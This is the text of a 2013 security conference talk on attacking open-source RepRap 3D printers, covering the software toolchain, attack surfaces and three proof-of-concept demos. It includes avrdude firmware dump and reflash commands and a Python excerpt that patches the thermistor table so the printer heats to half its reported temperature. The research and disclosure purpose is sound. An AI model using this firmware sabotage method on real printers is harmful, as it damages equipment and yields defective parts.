Security Attack to 3D Printing

Claud Xiao
Antiy Labs
2013.08
Antiy’s hardware security road at XCON

- **2008** Printer chip malware
- **2009** Wireless keyboard monitoring
- **2012** Short-wave timing signal spoofing
- **2013** welcome to the 3D world!
Segment of the *Chinese Zodiac*
3D Printing in Personalized Lifestyle
3D Printing in Rapidly Prototype Design
3D Printing in Customizable Medicine
3D Printing in Airplane Manufacturing
3D Printing in Building Outer Space Station
Previously, we more care about what new security threats 3D printing will bring to this real world.
Previous Event: 3D Printed Gun
Previous Event: 3D Printed Key

**OFTEN IMITATED. NEVER DUPLICATED.**

- Larger key bow for extra stamping space and easier handling
- Key is marked with end-user or dealer ID number to trace its origin
- Thicker key means added strength
- Protected by 4 utility and 2 design patents
- Factory side-cut combinations provide multiple levels of geographic end-user or dealer exclusivity
- 6 top pins and 5 side pins provide higher pick-resistance, more combinations

Schlage introduces a new standard for key control. Schlage's high-security Everest Primus and medium-security Everest cylinder key management systems provide the optimal flexibility in key control and affordability. Our medium- and high-security products can be mixed in the same key system and are upgradable, enabling you to tailor security and cost to meet your exact needs. Both levels of security cylinders offer longer patent life (extends controlled key distribution), have keys that can be cut on standard machines (for maximum convenience and savings), and are available in a full range of cylinder types.
Previously, we more care about what new security threats 3D printing will bring to this real world. But ignored ...
Old Topic: Stuxnet

- Successfully attacked control and manufacture system
- Strongly targeted and skillful
- Processes review:
  - Penetrated into isolated system
  - Modified running configuration of centrifuge in the background

Homework: What can we learn from Stuxnet’s attacks?
Today

• Change the perspective: security attacks to 3D printing itself:
  – Introduce 3D printing technologies and industry
  – Deeply learn RapRap’s workflow and toolchain
  – Simply discuss Who/Why/How/What/When of attacks
  – Analyze potential targets and methods of attack
  – Show THREE PoC attacks demo with detailed analysis!

• Main roadmap: research the security of desktop open source 3D printers as foundation and preparation of future researches in industrial 3D printing systems
3D Printing 101
Rapid Prototyping

- Fused deposition modeling (FDM)
Rapid Prototyping

• Three Dimensional Printing (3DP)
Rapid Prototyping

• Selective Laser Sintering (SLS)
Rapid Prototyping

- Stereolithography (SLA)
Industrial 3D Printers
Desktop 3D Printers: pre-assembled
Desktop 3D Printer: kit
There’re so many different types. What’s the difference of them and which one should I choose?
Open-source Hardware: RepRap

• Hardware, toolchain and firmware are all open-sourced

• Many generations’ derivation and optimization
RepRap Pursa Mendel: Mechanical Structure
RepRap: Electrical Structure

- Extruder
- Driver
- Microcontroller
- Hot End
- Hot End Temp.
- Main Board
- Printbed Temp.
- Heated Printbed
- Power Supply
- X-Axis Driver
- X-Endstop
- Y-Axis Driver
- Y-Endstop
- Z-Axis Driver
- Z-Endstop
RepRap: Mainboard and Processor
RepRap: material

- ABS (Acrylonitrile butadiene styrene), with extruding temperature 210-230°C
- PLA (Polylactic acid), with extruding temperature 170-180°C
Model Processing

3D MODEL

MODEL GOOD?

SCALE AND REPAIR

NO

YES

MODEL SLICED?

SLICING AND TOOLPATH

NO

YES

PRINTER CONTROL

PRINTED OBJECT

NO

YES

PRINTER WORKING?
Software Toolchain

- 3D Modeling Software
- Model Fix Tools
- Slicer
- 3D Printer Control Software
- 3D Printer Firmware

- More detailed introduction soon ...
RepRap Toolchain Internals
Two Roads

Data Flow:

3D Modeling → Model Fixing → Model Slicing → Uploading and Printing

Control Flow:

PC Control Software → Communication → Printer Firmware
Model Data Processing

Image material

SCAD Script

SketchUp

OpenSCAD

ReconstructMe

Kinect

STL File

Netfabb

Slic3r

Cura

Gcode File

Upload to printer and execute by interpretation
3D Modeling: SketchUp
3D Modeling: OpenSCAD

```
module BezConic(p0,p1,p2,steps=5,h=10) {
    steps1 = (p1-p0)/steps;
    steps2 = (p2-p1)/steps;
    for (i=[0:steps-1]) {
        assign(point1 = p0+steps1*i)
        assign(point2 = p1+steps1*i)
        assign(point3 = p0+steps1*(i+1))
        assign(point4 = p1+steps1*(i+1)) {
            assign(bpoint1 = point1+(point2-point1)*(i/steps))
            assign(bpoint2 = point3+(point4-point3)*((i+1)/steps))
        }
    }
}

module YaHei_contour00x5b89_skeleton() {
    translate([0,0,-10/2]) linear_extrude(height=10) polygon( points=[
        [30, 38], [33, 40], [33, 37],
        [30, 30], [25, 24], [42.5, 24.0],
        [60, 24], [63, 23], [60, 21],
        [55.0, 21.0], [50, 21], [46, 12],
        [37, 3], [50, -3], [59, -6],
        [61, -9], [58, -9], [49, -6],
        [35, 0], [24, -7], [4, -9],
        [1, -8], [3, -6], [23, -4],
        [31, 2], [22, 5], [17, 7],
    ]);}
```

Viewport: translate = [ 0.00 0.00 0.00 ], rotate = [ 48.70 0.00 308.70 ], distance = 1953.29
3D Modeling: Kinect + ReconstructMe
Model Fixing: netfabb

Processing file CartoonPlane2B.stl (1915.25 kB)...  
[ Download original file ] [ Download repaired file ]

Repairing file: Complete
Rendering original file: In progress
Rendering repaired file: Waiting in queue

3D view  Cancel
Model Slicing: Slic3r
Model Slicing: Cura

<table>
<thead>
<tr>
<th>Quality</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Layer height (mm)</td>
<td>0.2</td>
</tr>
<tr>
<td>Shell thickness (mm)</td>
<td>0.8</td>
</tr>
<tr>
<td>Enable retraction</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fill</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Bottom/Top thickness (mm)</td>
<td>0.6</td>
</tr>
<tr>
<td>Fill Density (%)</td>
<td>20</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Speed &amp; Temperature</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Print speed (mm/s)</td>
<td>50</td>
</tr>
<tr>
<td>Printing temperature (°C)</td>
<td>220</td>
</tr>
<tr>
<td>Bed temperature (°C)</td>
<td>70</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Support</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Support type</td>
<td>None</td>
</tr>
<tr>
<td>Platform adhesion type</td>
<td>None</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Filament</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Diameter (mm)</td>
<td>2.89</td>
</tr>
<tr>
<td>Flow (%)</td>
<td>100.0</td>
</tr>
</tbody>
</table>

2 hours 43 minutes
5.74 meter 47 gram

Security Attack to 3D Printing
Model Slicing: Result
Model Slicing: Background Works

- Input more than 100 parameters
- Generating infill
- Generating support
- Adapting material and printer
- Generating all of printer control instructions
- Achieving trade off between speed and quality
Model Slicing: Effects of Tools and Parameters
STL File

- Standard format of describing 3D printing model
- Fitting 3D object’s surface by spatial triangles
- Content is machine-independent
- Two kinds of storing format: plaintext, and binary coded
- Store content: vertex’s coordinate and outer normal vector of triangles

- Problem: difficult of modifying a STL described model
STL File Structure and Instruction Format

```
Solid Default

1. Solid Default
2. facet normal 3.349045e-02 9.994390e-01 1.223960e-16
3. outer loop
   4. vertex -5.474383e-02 2.859420e+01 3.534476e+00
   5. vertex 1.913421e+00 2.852824e+01 3.534476e+00
   6. vertex 1.913421e+00 2.852824e+01 1.767238e+00
7. endloop
8. endfacet
9. facet normal 3.349045e-02 9.994390e-01 1.223960e-16
10. outer loop
    11. vertex 1.913421e+00 2.852824e+01 1.767238e+00
    12. vertex -5.474383e-02 2.859420e+01 3.534476e+00
    13. vertex -5.474383e-02 2.859420e+01 3.534476e+00
14. endloop
15. endfacet
16. facet normal -3.370514e-02 -9.994318e-01 -1.223955e-16
17. outer loop
    18. vertex -5.474383e-02 -2.859420e+01 3.534480e+00
    19. vertex -2.009696e+00 -2.852827e+01 3.534480e+00
    20. vertex -2.009696e+00 -2.852827e+01 1.767243e+00
21. endloop
22. endfacet
23. facet normal -3.370514e-02 -9.994318e-01 -1.223955e-16
24. outer loop
    25. vertex -2.009696e+00 -2.852827e+01 1.767243e+00
    26. vertex -5.474383e-02 -2.859420e+01 1.767243e+00
    27. vertex -5.474383e-02 -2.859420e+01 3.534480e+00
28. endloop

```
Gcode File

• Store instructions and parameters for printer’s working
• Content is machine-dependent
• Store by plaintext
• http://reprap.org/wiki/G-code
Gcode File Structure and Instruction Format
PC Software for 3D Printer Control

- Control by send gcode instructions
Communication Between PC and Printer

- USB cable
- Virtual serial port/FTDI driver
- That’s all

- Or some WiFi based solutions

- Some times, the interface is used by both upload file/instructions and flash firmware
Printer’s Firmware

- Open-source solutions:
  - Sprinter
  - Marlin
  - SJFW
- Written by C/C++
- Compiled by Arduino IDE or AVR cross compiler
- Upload by avrdude
Security of 3D Printers
Simple Discussion

• Who will attack
• Why them attack
  – Economic or other benefit
  – More likely to be targeted attack
  – Attack target more likely to be industrial printing system
  – Under these assumptions, consider about Who and Why again
Simple Discussion

• What they attack
  – Hardware devices
  – Data and software
  – Online services
  – Printing result

• How to attack
  – Modify software or configuration
  – Modify data
  – Modify firmware
Simple Discussion

- When the attack will happen?
  - Consider about the history of PC and ICS’s security
  - Attack cost
  - Attack success rate
  - Attack benefit
Potential Targets and Methods
Physically Damage Printers

- Extruder
- Hot end
- Driving belt
- Mainboard
- Motors
- Gears
- Related positions
Physically Damage Printed Objects

• Buckling deformation
• Wrong size
• Support
• Infilling
• Strength of surface
• Accuracy of surface
• cooling speed
• ...

XCON2013
Modify 3D Models

- Size of model
- Position of components
- Integrality of model
- Targeted modification for object’s usage
Potential Attack Surface
PC Software

• Target kinds of software in toolchain:
  - Modeling
  - Slicing
  - Controling
  - Compiling

  http://download.trimble.com/sketchup/sketchupmen.dmg
  http://dl.slic3r.org/mac/slic3r-osx-uni-0-9-10b.dmg
  http://software.ultimaker.com/current/Cura-13.06.5-MacOS.dmg
  http://koti.kapsi.fi/%7Ekliment/printrun/Printrun-Win-Slic3r-12July2013.zip
  http://arduino.googlecode.com/files/arduino-1.0.5-macosx.zip

• Attack vector:
  - Software downloading and updating MITM
  - Local file modification or replacing
  - Software runtime injection
Model Data

- Target kinds of model data format:
  - SCAD script
  - STL file
  - Gcode file

- Attack surface:
  - Model uploading or downloading MITM
  - Local file modification
  - PC-Printer link MITM

Configuration Data

• Target:
  – Slicing configuration
  – Controller configuration

• Attack vector:
  – Local file modification
Control Command

- Forgery, interception, replay and hijacking of control command or return data between PC and printer
  - Just like attacks of network protocol
- To forgery:
  - Build connection with mainboard through USB cable, and send control command (gcode)
  - Normally, there has been an USB cable between printer and its control PC
Printer Firmware

• Modify firmware and change its work logic

• How to get modified firmware
  – Compiled from source code: lack of machine specified configuration data
  – Download origin firmware from machine and modify: how to automatically do this?

This is what we will show
Demo and Analysis of PoC Attacks
Expected Goals

- Let the temperature of what the printer really works and what we will get from PC different
  - Sounds familiar? (Stuxnet)
  - possible result:
    - Temperature doesn’t achieve material’s melting point
    - Extruder damaged
    - Constrainedly works but can’t normally forming
- Implementation by modify firmware
- Make this attack totally automatic.
Assumptions

• PC has been assaulted.
• PC and 3D printer is linked by USB cable
• 3D printers firmware can be read and write
  – Fuse bit
  – Many printers have update ability
Three Steps

1. Download current firmware from printer to PC through USB cable

2. Binary patch to the firmware
   a. Unpack and disassemble
   b. Find target code
   c. Modify binary code

3. Upload firmware back to printer
But …

- I meets a problem when automate it.
- There’s a hardware issue in My RepRap Prusa Mendel’s mainboard Sanguinololu Rev 1.3a: before read or write firmware, it requires manually press RESET button for 10 seconds.
  
  — http://reprap.org/wiki/Sanguinololu

```
stk500_getsync
```

Arduino may return the following error when attempting to load firmware:

```
avrdude: stk500_getsync():not in sync: resp=0x00
avrdude: stk500_disable(): protocol error, expect=0x14, resp=0x51
```

**workaround**

To resolve for boards older than Rev 1.3a, hold the reset button on your Sanguinololu for about 10 seconds. While still holding the button, try to upload the firmware again (File --> Upload to Board). Let go of the reset button as soon as Arduino reports, "Binary sketch size: ###### bytes (of a 63488 byte maximum)". The firmware should now be accepted.
However, let’s consider ...

- **RepRap mainboard**
  - RAMPS: Standard Arduino Mega plus Pololu shield
  - Sanguinololu: Makes two boards of RAMPS together and fully compatible with Arduino
  - Printrboard: Based on Sanguinololu and improved performance and interface

- **RepRap firmware**
  - Compile by Arduino IDE
  - Upload by Arduino IDE
Solution: split into three demos

• Demo 1: automation of the attack
  – Arduino Uno
  – Standard hello, world: blink program

• Demo 2: automation of the attack (by mobile phone)
  – Galaxy Nexus with USB OTG
  – Extra, just for fun

• Demo 3: attacks of 3D printer
  – RepRap Prusa Mendel with Sanguinololu
  – Sprinter firmware’s temperature control system
Demo 1: BlindBlink
Environment

• Mainboard: Arduino Uno
• Compiling: Arduino IDE 1.0.5
• Program: the Blink example
demo time
Principle Analysis

- `digitalWrite` is used to write high or low digital signal to make LED blinks.
- Modify parameter of calls to this library function to let `HIGH` becomes `LOW`.

```cpp
#include <Arduino.h>

int led = 13;

void setup()
{
    pinMode(led, OUTPUT);
    digitalWrite(led, HIGH); // turn the LED on (HIGH is the voltage level)
    delay(1000); // wait for a second
    digitalWrite(led, LOW); // turn the LED off by making the voltage level LOW
    delay(1000); // wait for a second
}
```

![Blink example in Arduino IDE](image-url)
Steps

1. Download firmware
   - $ avrdude -p atmega328p -c arduino -P <usb_serial_port> -U flash:r:dump.hex:i

2. Modify firmware
   - Further detailed analysis ....

3. Upload firmware
   - $ avrdude -p atmega328p -c arduino -P <usb_serial_port> -U flash:w:fixed.hex:i
Steps: Modify Firmware

a. Intel Hex -> binary, script wrote by myself

b. Disassemble: avr-objdump
   – Other solutions: IDA Pro, AVR Studio

c. Split the assembly code into fragments

d. Find library function `digitalWrite`
   ① Pre-extracted binary signature
   ② Match signature using code wrote by myself
Steps: Modify Firmware

e. Find all calls to `digitalWrite`
f. Backtrace call parameters
   - `LDI R22, 0x01 ; HIGH`
g. Analysis opcode encoding
h. Generate patch plan
i. Directly patch ihex file and fix checksum
Recognize Library API

```c
void digitalWrite(uint8_t pin, uint8_t val)
{
  uint8_t timer = digitalPinToTimer(pin);
  uint8_t bit = digitalPinToBitMask(pin);
  uint8_t port = digitalPinToPort(pin);
  volatile uint8_t *out;

  if (port == NOT_A_PIN) return;

  // If the pin that support PWM output, we need to turn it off
  // before doing a digital write.
  if (timer != NOT_ON_TIMER) turnOffPWM(timer);

  out = portOutputRegister(port);

  uint8_t oldSREG = SREG;
  cli();

  if (val == LOW) {
    *out &= ~bit;
  } else {
    *out |= bit;
  }

  SREG = oldSREG;
}
```
Recognize Library API

XCON2013 Security Attack to 3D Printing
Recognize Library API

• Like manually extract malware’s signature
  – High quality: low false-positive, low false-negative
  – Consider about compiler’s version and parameter/environment

• Source code is available! Can make some comparison

• In AVR architecture:
  – Extract address-independent bytecode
  – Design signature description format
  – Write matching engine

• Demo 1 is just an ugly and low quality implementation
PoC Code

- Python, ~220 LOC
Demo 2: BlindBlink on Android
Environment

- Phone: Samsung Galaxy Nexus
- OS: Android 4.3
- Target: Arduino Uno with Blink, again
demo time
 Principle Analysis

• Android is just an ARM-based PC
• Hardware: USB OTG cable
• Shell: Terminal Emulator
• Python: python-for-android
  – http://code.google.com/p/python-for-android/
• Toolchain: andavr
  – https://code.google.com/p/andavr/
PoC Code

- Python, ~250 LOC
- and Shell, ~40 LOC
Demo 3: HalfTemperature
Environment

- Printer: RepRap Prusa Mendel
  - Made by YesRap, model P2; assembled by Claud Xiao
- Mainboard: Sanguinololu Rev 1.3a
- Processor: ATmega644p
- Firmware: Sprinter (commit: 3dca6f0)
- OS: Mac OS X 10.8
- Compiler: Arduino IDE 0023
- Controller: Printrun Jul2013
- Thermometer: Tenmars YC-717 (Type-K probe)
Goals

• To make the temperature feedback by the printer is twice of the real heating temperature

• How to verify this?
  – Use controller Printrun to watch feedback temperature
  – Use thermocouple point-thermometer to measure real heating temperature
demo time
Principle Analysis: Temperature Related gcode

- **M104**: set extruder temperature
  - M104 P1 S100: set the second extruder’s temperature to 100 °C

- **M105**: get extruder temperature
  - M105
  - Return: ok T:201 B:117

- **M109**: set extruder temperature and wait until it reach

- **M190**: set print bed temperature and wait until it reach
Principle Analysis: Slic3r Generated Gcode

15 ; infill extrusion width = 0.70mm
16 ; solid infill extrusion width = 0.70mm
17 ; top infill extrusion width = 0.70mm
18 ; first layer extrusion width = 0.45mm
19
20 G21 : set units to millimeters
21 M190 S110 ; wait for bed temperature to be reached
22 M104 S230 ; set temperature
23 G28 ; home all axes
24 M109 S230 ; wait for temperature to be reached
25 G90 ; use absolute coordinates
26 M83 ; use relative distances for extrusion
27 G1 F1800.000 E-2.00000
28 G1 Z0.300 F1500.000
29 G1 X64.491 Y61.004
30 G1 F1800.000 E2.00000
31 G1 X64.751 Y60.744 F600.000 E0.00719
32 G1 X65.971 Y59.634 E0.03225
33 G1 X66.461 Y59.234 E0.01237
34 G1 X67.211 Y58.664 E0.01842
Principle Analysis: Sprinter Source Code

```c
return;
//break;
    if (code_seen('S')) target_raw = temp2analogh(target_temp = code_value());
    #ifdef WATCHPERIOD
    if(target_raw>current_raw)
    {
        watchmillis = max(1,millis());
        watch_raw = current_raw;
    }
    else
    {
        watchmillis = 0;
    }
    #endif
    codenum = millis();

    /* See if we are heating up or cooling down */
```
Principle Analysis: Sprinter Source Code

- `temp2analogh()`
- `analog2temp()`
- Convert between analog signal sampling value from sensors and centigrade degree
- Table lookup and calculus of interpolation

```c
#include (HEATERUSES_THERMISTOR) || defined (BEDUSES_THERMISTOR)
int temp2analog_thermistor(int celsius, const short table[][2], int numtemps)
{
    int raw = 0;
    byte i;

    for (i=1; i<numtemps; i++)
    {
        if (table[i][1] < celsius)
        {
            raw = table[i-1][0] +
                (celsius - table[i-1][1]) *
                (table[i][0] - table[i-1][0]) /
                (table[i][1] - table[i-1][1]);
            break;
        }
    }

    // Overflow: Set to last value in the table
    if (i == numtemps) raw = table[i-1][0];

    return 1023 - raw;
}
```

XCON2013
Principle Analysis: Sprinter Source Code

```c
#define NUMTEMPS_1 61
const short temptable_1[NUMTEMPS_1][2] = {
    {23, 300},
    {25, 295},
    {27, 290},
    {28, 285},
    {31, 280},
    {33, 275},
    {35, 270},
    {38, 265},
    {41, 260},
    {44, 255},
    {48, 250},
    {52, 245},
    {56, 240},
    {61, 235},
    {66, 230},
    {71, 225},
    {78, 220},
    {84, 215},
    {92, 210},
    {100, 205},
    {109, 200},
    {120, 195},
    {131, 190},
};
```
Principle Analysis: How to Modify?

• Modify M109’s implementation
  – target_raw = temp2analogh(target_temp = code_value());
  – Divide target_raw’s value with 2

• Problems:
  – Need to modify M104, M105 and M190 accordingly
  – Add or delete code need binary rewriting
  – If or not to extract high quality signature for code of M109
    • False-negative: different versions of compiler, different versions of Sprinter, and different versions of mainboard
    • False-positive: many switch-case code is similar
Principle Analysis: How to Modify?

- **Change** `temp2analogh()`’s implementation
  - *Original* `return 1023 - raw;`, change the constant to other value to avoid rewriting

- **Problems:**
  - The function’s code is only has some data operation, and very similar with `analog2temp()`, how to get high quality signature?
  - `temp2analogh()` is used by other functions
Principle Analysis: How to Modify?

• Modify the lookup table for analog – temp value transform
  – 2-dim array of constant
  – Change raw values manually

• Problems:
  – Not a general method
  – The table is used by two functions, however ... that’s just what we need

• OK, choose it!

```javascript
[{ 480 , 115 },
 { 516 , 110 },
 { 553 , 105 },
 { 591 , 100 },
 { 628 , 95 },
 { 665 , 90 },
 { 702 , 85 },
 { 737 , 80 },
 { 770 , 75 },
 { 801 , 70 },
 { 830 , 65 },
 { 857 , 60 },
 { 881 , 55 },
 { 903 , 50 },
 { 922 , 45 },
 { 939 , 40 },
 { 954 , 35 },
 { 966 , 30 },
 { 977 , 25 },
 { 985 , 20 },
 { 993 , 15 },
 { 999 , 10 },
 { 1004 , 5 },
 { 1008 , 0 } //safety
```
Principle Analysis: How to Modify?

- After modification

- M109 S220 will convert to sampling value 516

- This value will lead to real heating temperature 110°C

- But when M105, the sampling value will be explained as 220°C

- Perfect!
## Matching

```c
const short temptable_1[NUMTEMPS_1][2] = {
    { 23, 300 },
    { 25, 295 },
    { 27, 290 },
    { 28, 285 },
    { 31, 280 },
    { 33, 275 },
    { 35, 270 },
    { 38, 265 },
    { 41, 260 },
    { 44, 255 },
    { 48, 250 },
    { 52, 245 },
    { 56, 240 },
    { 61, 235 },
    { 66, 230 },
    { 71, 225 },
    { 78, 220 },
    { 84, 215 },
    { 92, 210 },
    { 100, 205 },
    { 109, 200 },
};
```
PoC Code

- Python, ~210 LOC

```python
def HalfTemperature(serial):
    origin_hex = 'dump.hex'
    origin_bin = 'dump.bin'
    fixed_bin = 'fixed.bin'
    fixed_hex = 'fixed.hex'

    Log('Press the RESET button in your Sanguinololu board and hold on ...
    time.sleep(15)
    Log('Relax it now!
    time.sleep(1)
    Log('Download firmware from the board to ' + origin_hex)
    runCmd('avrdude -p atmega644p -c stk500v1 -b 38400 -P ' + serial + ' -U flash:r:
    + origin_hex + ':i -P')

    Log('Convert the dump to ' + origin_bin)
    Hex2Bin(origin_hex, origin_bin)

    Log('Find the thermistor table in the binary code')
    addr = FindTable(origin_bin)
    if len(addr) > 0:
        Log('Found the table at %s' % repr(addr))
    else:
        ErrorAndExit('Couldn\'t found any thermistor table')

    Log('Fix the binary code to ' + fixed_bin)
    FixBin(origin_bin, fixed_bin, addr)

    Log('Convert the binary code to ' + fixed_hex)
    Bin2Hex(fixed_bin, fixed_hex)

    Log('Press the RESET button in your Sanguinololu board and hold on ...
    time.sleep(15)
    Log('Relax it now!
    time.sleep(1)
    Log('Upload fixed firmware to the board')
    runCmd('avrdude -p atmega644p -c stk500v1 -b 38400 -P ' + serial + ' -U flash:w:
    + fixed_hex + ':i -P')

    Log('Done!')
```

Do you want the Demo 4?
The accident happened in this morning...
Reason?
Reason?

Claud:~$ shasum whistle-on.gcode
3b26e5037bea3e4bed4285e0ab9065ae22612cee  whistle-on.gcode
Claud:~$ shasum /Volumes/NO\ NAME/init.g
3b26e5037bea3e4bed4285e0ab9065ae22612cee /Volumes/NO NAME/init.g

<table>
<thead>
<tr>
<th>#</th>
<th>X</th>
<th>Y</th>
<th>Z</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>998</td>
<td>86.659</td>
<td>90.697</td>
<td>100.000</td>
<td></td>
</tr>
<tr>
<td>999</td>
<td>80.000</td>
<td>2.00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1000</td>
<td>81.972</td>
<td>95.383</td>
<td>1500.000</td>
<td>0.18410</td>
</tr>
<tr>
<td>1001</td>
<td>M106</td>
<td>S134</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1002</td>
<td>80.000</td>
<td>2.00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1003</td>
<td>81.500</td>
<td>1.500</td>
<td>2100.000</td>
<td></td>
</tr>
<tr>
<td>1004</td>
<td>81.733</td>
<td>94.738</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>80.000</td>
<td>2.00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>1006</td>
<td>82.751</td>
<td>93.245</td>
<td>1200.000</td>
<td>0.05019</td>
</tr>
<tr>
<td>1007</td>
<td>84.408</td>
<td>91.579</td>
<td>0.06526</td>
<td></td>
</tr>
<tr>
<td>1008</td>
<td>85.733</td>
<td>90.619</td>
<td>0.04546</td>
<td></td>
</tr>
</tbody>
</table>
Learn from it...

It’s really very easy to physically broken a 3D printer 😞
at last
Some New Directions

• 3D printing toolchain and data security

• Arduino AVR firmware security
  – May affect more other devices

• Industrial 3D printing system security
  – More like ICS environment: close, “old”, specialized and important
  – Different forming method, software toolchain, hardware architecture ...
  – Much more attack possibility and influence
Acknowledgement

• Thanks TBSoft, Kevin2600, 张铭 and 张振宇’s help

• Thanks iRene and Cheku Open Labs providing testing devices

• Thanks Beijing Maker Space providing some demo samples

• Some of images in this slide come from:
  – Dreambox. 3D Printing Meetup at Berkeley Skydeck

• Learn a lot from:
Thank you!

Claud Xiao 肖梓航

Senior Researcher at Antiy Labs

Email: xiaozihang@gmail.com
Website: http://www.antiy.com
Blog: http://blog.claudxiao.net